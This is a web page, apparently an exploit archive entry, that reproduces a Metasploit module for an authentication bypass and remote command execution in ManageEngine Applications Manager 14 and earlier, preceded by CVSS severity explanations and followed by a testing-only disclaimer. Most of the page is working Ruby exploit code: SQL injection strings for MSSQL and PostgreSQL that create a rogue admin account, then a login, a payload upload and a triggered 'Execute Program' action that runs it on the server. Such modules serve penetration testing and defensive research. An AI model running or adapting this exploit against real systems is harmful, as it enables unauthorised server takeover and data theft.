The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: ManageEngine Applications Manager 14.0 Authentication Bypass / Remote Command Execution (Metasploit)
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Applications Manager < 14.0 - Authentication Bypass / Remote Command Execution",
'Description' => %q(
This module exploits sqli and command injection vulnerability in the ManageEngine AM 14 and prior versions.
It is completely different from the previous EDB-ID:46725 exploit.
Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides authentication bypass.
Therefore an unauthenticated user can gain the authority of "system" on the server.
It uploads malicious file using the "Execute Program Action(s)" feature of the app with the new admin account.
Tested: Applications Manager 14 on Linux 64-bit (PostgreSQL)
Applications Manager 14 on Windows 10 64-bit (MSSQL)
Applications Manager 14 on Windows 10 64-bit (PostgreSQL)
Applications Manager 13 on Windows Server 2012 R2 64-bit (MSSQL)
Applications Manager 12 on Windows Server 2012 R2 64-bit (PostgreSQL)
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <zkan Mustafa Akku>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/ManageEngine-App-Manager-14-Auth-Bypass-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60, # countermeasure
'RPORT' => 8443,
'SSL' => true
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win', 'linux'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix','linux'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python',
}
}
}
]
],
'DisclosureDate' => '22 April 2019',
'DefaultTarget' => 1))
register_options(
[
OptString.new('TARGETURI', [true, 'The path of ME', '/'])
],self.class)
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def exec(action)
# operation of malicious file. The end of the adventure :(
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => @cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end
##
# platform check
##
def check_platform
# First touch to support of execute program ;)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => @cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
# Platform can be discovered precisely using an application dir.
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] # It will be recalled later
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(platform, @dir)
end
##
# Creating and sending malicious files
##
def file_up(platform, dir)
# specifying an extension by platform
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end
@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
res = send_request_cgi({
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => @cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})
if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end
def create_exec_prog(dir, fname)
@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => @cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5, # I think it would be enough for once. But I gave 5 O_o
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)
if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control
# Find actionID simply from body res
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
end
##
# Check all
##
def check
# Instead of detecting the database type, we can guarantee the vuln by sending a separate query to both.
# The platform can be linux and possible remotely connected to the MSSQL database.
# In the same way platform can be windows and postgresql can be used.
# Thats why we are sending two queries. We will check the platform inside.
@uname = Rex::Text.rand_text_alpha_lower(6)
uid = rand_text_numeric(3)
apk = rand_text_numeric(6)
@pwd = rand_text_alphanumeric(8+rand(9))
# MSSQL injection should be prepared with ASCII characters.
# Map and join can be used for this.
@uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" # "ADMIN" CHARs - should not be random
# PostgreSQL injection query // no need APIKEY
pg_user =""
pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
# MSSQL injection query
ms_user =""
ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"
# Send SQL queries to both types of database(PostreSQL,MSSQL) with SQLi vuln..
use_sqli(ms_user, pg_user)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
# If the user we sent with queries was created, the login will be successful with new admin user.
if res && res.code == 200 && res.body.include?('.loginDiv') # css control makes more sense. The application language may not be English.
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_security_check'),
'cookie' => @cookie,
'vars_post' => {
'clienttype' => 'html',
'j_username' => @uname,
'j_password' => @pwd
}
)
if res && res.code == 302 && res.body.include?('Redirecting to')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
'cookie' => @cookie
)
@cookie = res.get_cookies # last cookie
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Safe
end
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
print_good("Excellent! Logged in as #{@uname}")
print_status("Admin Username => #{@uname}")
print_status("Admin Password => #{@pwd}")
check_platform # Start the adventure
end
##
# Communication with the database
##
def use_sqli(mssql, postgresql)
# two different post data must be sent.
# Because the query structures are different.
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),
'vars_post' => {
'resourceid' => mssql
}
)
# important to send the +/$ characters clear
send_request_cgi(
{
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),
'data' => "resourceid=#{postgresql}"
}, 25)
end
end
##
# The end of the codes (o_O) // AkkuS
##
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum